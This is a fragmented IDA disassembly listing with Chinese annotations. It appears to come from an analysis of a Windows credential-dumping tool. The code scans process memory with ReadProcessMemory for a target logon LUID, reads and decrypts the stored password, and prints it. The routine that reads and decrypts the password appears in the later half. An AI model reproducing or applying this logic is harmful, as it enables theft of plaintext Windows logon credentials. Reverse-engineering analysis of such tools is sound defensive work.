lea edx
,
[esp
+
2
D
0
h
+
NumberOfBytesRead]
.
text
:
004012
D
1
8
D
84
24
D
4
00
00
00
lea eax
,
[esp
+
2
D
0
h
+
Buffer]
.
text
:
004012
D
8
52
push edx ; lpNumberOfBytesRead
.
text
:
004012
D
9
68
00
01
00
00
push
100
h ; nSize
.
text
:
004012
DE
50
push eax ; lpBuffer
.
text
:
004012
DF
57
push edi ; lpBaseAddress
.
text
:
004012
E
0
53
push ebx ; hProcess
.
text
:
004012
E
1
FF D
5
call ebp ; ReadProcessMemory ; 读取内存数据
.
text
:
004012
E
3
8
B
84
24
D
4
00
00
00
mov eax
,
[esp
+
2
D
0
h
+
Buffer]
.
text
:
004012
EA
3
B C
7
cmp eax
,
edi
.
text
:
004012
EC
0
F
84
B
6
00
00
00
jz loc_
4013
A
8
.
text
:
004012
F
2
.
text
:
004012
F
2
loc_
4012
F
2
:
; CODE XREF
:
_main
+
1
DCj
.
text
:
004012
F
2
8
D
4
C
24
28
lea ecx
,
[esp
+
2
D
0
h
+
NumberOfBytesRead]
.
text
:
004012
F
6
8
D
94
24
D
4
00
00
00
lea edx
,
[esp
+
2
D
0
h
+
Buffer]
.
text
:
004012
FD
51
push ecx ; lpNumberOfBytesRead
.
text
:
004012
FE
68
00
01
00
00
push
100
h ; nSize
.
text
:
00401303
52
push edx ; lpBuffer
.
text
:
00401304
50
push eax ; lpBaseAddress
.
text
:
00401305
53
push ebx ; hProcess
.
text
:
00401306
FF D
5
call ebp ; ReadProcessMemory ; 读取内存数据
.
text
:
00401308
8
B
84
24
E
4
00
00
00
mov eax
,
[esp
+
2
D
0
h
+
nSize]
.
text
:
0040130
F
8
B
0
E mov ecx
,
[esi]
.
text
:
00401311
3
B C
1
cmp eax
,
ecx ; 检测读取到的LUID值是否是指定的LUID值,如果不是,则比较地址,如果当前地址小于目标地址,则继续读取内存,查找LUID
.
text
:
00401313
75
0
E jnz short loc_
401323
.
text
:
00401315
8
B
8
C
24
E
8
00
00
00
mov ecx
,
[esp
+
2
D
0
h
+
lpBaseAddress]
.
text
:
0040131
C
8
B
46
04
mov eax
,
[esi
+
4
]
.
text
:
0040131
F
3
B C
8
cmp ecx
,
eax
.
text
:
00401321
74
7
C jz short loc_
40139
F
.
text
:
00401323
.
text
:
00401323
loc_
401323
:
; CODE XREF
:
_main
+
1
C
3
j
.
text
:
00401323
8
B
84
24
D
4
00
00
00
mov eax
,
[esp
+
2
D
0
h
+
Buffer]
.
text
:
0040132
A
3
B C
7
cmp eax
,
edi
.
text
:
0040132
C
75
C
4
jnz short loc_
4012
F
2
.
text
:
0040132
E
68
34
91
40
00
push
offset
aSpecificLuidNo ;
"Specific LUID NOT found\n"
.
text
:
00401333
E
8
9
E
04
00
00
call _puts
.
text
:
00401338
83
C
4
04
add
esp
,
4
.
text
:
0040133
B E
9
D
0
00
00
00
jmp loc_
401410
.
text
:
00401340
;
.
text
:
00401340
.
text
:
00401340
loc_
401340
:
; CODE XREF
:
_main
+
9
Fj
.
text
:
00401340
83
F
8
02
cmp eax
,
2
.
text
:
00401343
75
2
F jnz short loc_
401374
.
text
:
00401345
C
7
44
24
10
1
C
00
00
00
mov [esp
+
2
CCh
+
var_
2
BC]
,
1
Ch
.
text
:
0040134
D C
7
44
24
0
C
04
00
00
00
mov [esp
+
2
CCh
+
var_
2
C
0
]
,
4
.
text
:
00401355
E
9
AB FE FF FF jmp loc_
401205
.
text
:
0040135
A ;
.
text
:
0040135
A
.
text
:
0040135
A loc_
40135
A
:
; CODE XREF
:
_main
+
96
j
.
text
:
0040135
A
83
F
9
06
cmp ecx
,
6
.
text
:
0040135
D
75
15
jnz short loc_
401374
.
text
:
0040135
F C
7
44
24
10
20
00
00
00
mov [esp
+
2
CCh
+
var_
2
BC]
,
20
h
.
text
:
00401367
C
7
44
24
0
C
01
00
00
00
mov [esp
+
2
CCh
+
var_
2
C
0
]
,
1
.
text
:
0040136
F E
9
91
FE FF FF jmp loc_
401205
.
text
:
00401374
;
.
text
:
00401374
.
text
:
00401374
loc_
401374
:
; CODE XREF
:
_main
+
1
F
3
j
.
text
:
00401374
; _main
+
20
Dj
.
text
:
00401374
50
push eax
.
text
:
00401375
51
push ecx
.
text
:
00401376
68
04
91
40
00
push
offset
aUndefinedOsVer ;
"[Undefined OS version] Major: %d Minor"
...
.
text
:
0040137
B E
8
BD
04
00
00
call sub_
40183
D
.
text
:
00401380
68
B
0
91
40
00
push
offset
aEchoPressAnyKe ;
"echo Press any Key to Continue ... & pa"
...
.
text
:
00401385
E
8
B
6
03
00
00
call _system
.
text
:
0040138
A
83
C
4
10
add
esp
,
10
h
.
text
:
0040138
D
53
push ebx ; hObject
.
text
:
0040138
E FF
15
38
80
40
00
call ds
:
CloseHandle
.
text
:
00401394
5
F pop edi
.
text
:
00401395
33
C
0
xor eax
,
eax
.
text
:
00401397
5
B pop ebx
.
text
:
00401398
81
C
4
C
4
02
00
00
add
esp
,
2
C
4
h
.
text
:
0040139
E C
3
retn
.
text
:
0040139
F ;
.
text
:
0040139
F
.
text
:
0040139
F loc_
40139
F
:
; CODE XREF
:
_main
+
1
D
1
j
.
text
:
0040139
F
39
BC
24
D
4
00
00
00
cmp [esp
+
2
D
0
h
+
Buffer]
,
edi
.
text
:
004013
A
6
75
0
F jnz short loc_
4013
B
7
.
text
:
004013
A
8
.
text
:
004013
A
8
loc_
4013
A
8
:
; CODE XREF
:
_main
+
19
Cj
.
text
:
004013
A
8
68
34
91
40
00
push
offset
aSpecificLuidNo ;
"Specific LUID NOT found\n"
.
text
:
004013
AD E
8
24
04
00
00
call _puts
.
text
:
004013
B
2
83
C
4
04
add
esp
,
4
.
text
:
004013
B
5
EB
59
jmp short loc_
401410
.
text
:
004013
B
7
;
.
text
:
004013
B
7
.
text
:
004013
B
7
loc_
4013
B
7
:
; CODE XREF
:
_main
+
256
j
.
text
:
004013
B
7
8
B
54
24
18
mov edx
,
[esp
+
2
D
0
h
+
var_
2
B
8
]
.
text
:
004013
BB
33
F
6
xor esi
,
esi
.
text
:
004013
BD B
9
40
00
00
00
mov ecx
,
40
h
.
text
:
004013
C
2
BF C
0
BB
40
00
mov edi
,
offset
unk_
40
BBC
0
.
text
:
004013
C
7
66
8
B B
4
14
E
6
00
00
00
mov si
,
word
ptr [esp
+
edx
+
2
D
0
h
+
nSize
+
2
]
.
text
:
004013
CF
8
D
84
14
E
4
00
00
00
lea eax
,
[esp
+
edx
+
2
D
0
h
+
nSize]
.
text
:
004013
D
6
8
B
94
14
E
8
00
00
00
mov edx
,
[esp
+
edx
+
2
D
0
h
+
lpBaseAddress]
.
text
:
004013
DD
33
C
0
xor eax
,
eax
.
text
:
004013
DF F
3
AB rep stosd
.
text
:
004013
E
1
8
D
44
24
28
lea eax
,
[esp
+
2
D
0
h
+
NumberOfBytesRead]
.
text
:
004013
E
5
50
push eax ; lpNumberOfBytesRead
.
text
:
004013
E
6
56
push esi ; nSize
.
text
:
004013
E
7
68
C
0
BB
40
00
push
offset
unk_
40
BBC
0
; lpBuffer
.
text
:
004013
EC
52
push edx ; lpBaseAddress
.
text
:
004013
ED
53
push ebx ; hProcess
.
text
:
004013
EE FF D
5
call ebp ; ReadProcessMemory ; 读取内存获取密码
.
text
:
004013
F
0
56
push esi
.
text
:
004013
F
1
68
C
0
BB
40
00
push
offset
unk_
40
BBC
0
.
text
:
004013
F
6
FF
54
24
34
call [esp
+
2
D
8
h
+
var_
2
A
4
] ; 解密密码
.
text
:
004013
FA
68
C
0
BB
40
00
push
offset
unk_
40
BBC
0
.
text
:
004013
FF
68
F
8
90
40
00
push
offset
aIS ;
"密码: %S\n\n"
.
text
:
00401404
E
8
34
04
00
00
call sub_
40183
D ; 显示密码
.
text
:
00401409
8
B
7
C
24
40
mov edi
,
[esp
+
2
D
8
h
+
var_
298
]
.
text
:
0040140
D
83
C
4
08
add
esp
,
8
.
text
:
00401410
.
text
:
00401410
loc_
401410
:
; CODE XREF
:
_main
+
1
EBj
.
text
:
00401410
; _main
+
265
j
.
text
:
00401410
8
B
44
24
10
mov eax
,
[esp
+
2
D
0
h
+
var_
2
C
0
]
.
text
:
00401414
8
B
4
C
24
24
mov ecx
,
[esp
+
2
D
0
h
+
var_
2
AC]
.
text
:
00401418
40
inc eax
.
text
:
00401419
3
B C
1
cmp eax
,
ecx ; 检测是否已经查找完所枚举出来的LUID
.
text
:
0040141
B
89
44
24
10
mov [esp
+
2
D
0
h
+
var_
2
C
0
]
,
eax
.
text
:
0040141
F
0
F
82
8
A FE FF FF jb loc_
4012
AF
.
text
:
00401425
8
B
74
24
30
mov esi
,
[esp
+
2
D
0
h
+
var_
2
A
0
]
.
text
:
00401429
8
B
6
C
24
34
mov ebp
,
[esp
+
2
D
0
h
+
var_
29
C]
.
text
:
0040142
D
.
text
:
0040142
D loc_
40142
D
:
; CODE XREF
:
_main
+
153
j
.
text
:
0040142
D
53
push ebx ; hObject
.
text
:
0040142
E FF
15
38
80
40
00
call ds
:
CloseHandle
.
text
:
00401434
8
B
4
C
24
20
mov ecx
,
[esp
+
2
D
0
h
+
var_
2
B
0
]
.
text
:
00401438
51
push ecx
.
text
:
00401439
FF
54
24
20
call [esp
+
2
D
4
h
+
var_
2
B
4
]
.
text
:
0040143
D
8
B
3
D
18
80
40
00
mov edi
,
ds
:
FreeLibrary
.
text
:
00401443
55
push ebp ; hLibModule
.
text
:
00401444
FF D
7
call edi ; FreeLibrary
.
text
:
00401446
56
push esi ; hLibModule
.
text
:
00401447
FF D
7
call edi ; FreeLibrary
.
text
:
00401449
83
7
C
24
14
01
cmp [esp
+
2
D
4
h
+
var_
2
C
0
]
,
1
.
text
:
0040144
E
75
1
A jnz short loc_
40146
A
.
text
:
00401450
8
B
35
14
80
40
00
mov esi
,
ds
:
GetModuleHandleA
.
text
:
00401456
68
EC
90
40
00
push
offset
aBcrypt_dll ;
"bcrypt.dll"
.
text
:
0040145
B FF D
6
call esi ; GetModuleHandleA
.
text
:
0040145
D
50
push eax ; hLibModule
.
text
:
0040145
E FF D
7
call edi ; FreeLibrary
.
text
:
00401460
68
D
4
90
40
00
push
offset
aBcryptprimitiv ;
"bcryptprimitives.dll"
.
text
:
00401465
FF D
6
call esi ; GetModuleHandleA
.
text
:
00401467
50
push eax ; hLibModule
.
text
:
00401468
FF D
7
call edi ; FreeLibrary
.
text
:
0040146
A
.
text
:
0040146
A loc_
40146
A
:
; CODE XREF
:
_main
+
2
FEj
.
text
:
0040146
A
68
A
4
90
40
00
push
offset
aEchoPressAny_
0
;
"echo Press any Key to EXIT ... & pause "
...
.
text
:
0040146
F E
8
CC
02
00
00
call _system
.
text
:
00401474
83
C
4
04
add
esp
,
4
.
text
:
00401477
33
C
0
xor eax
,
eax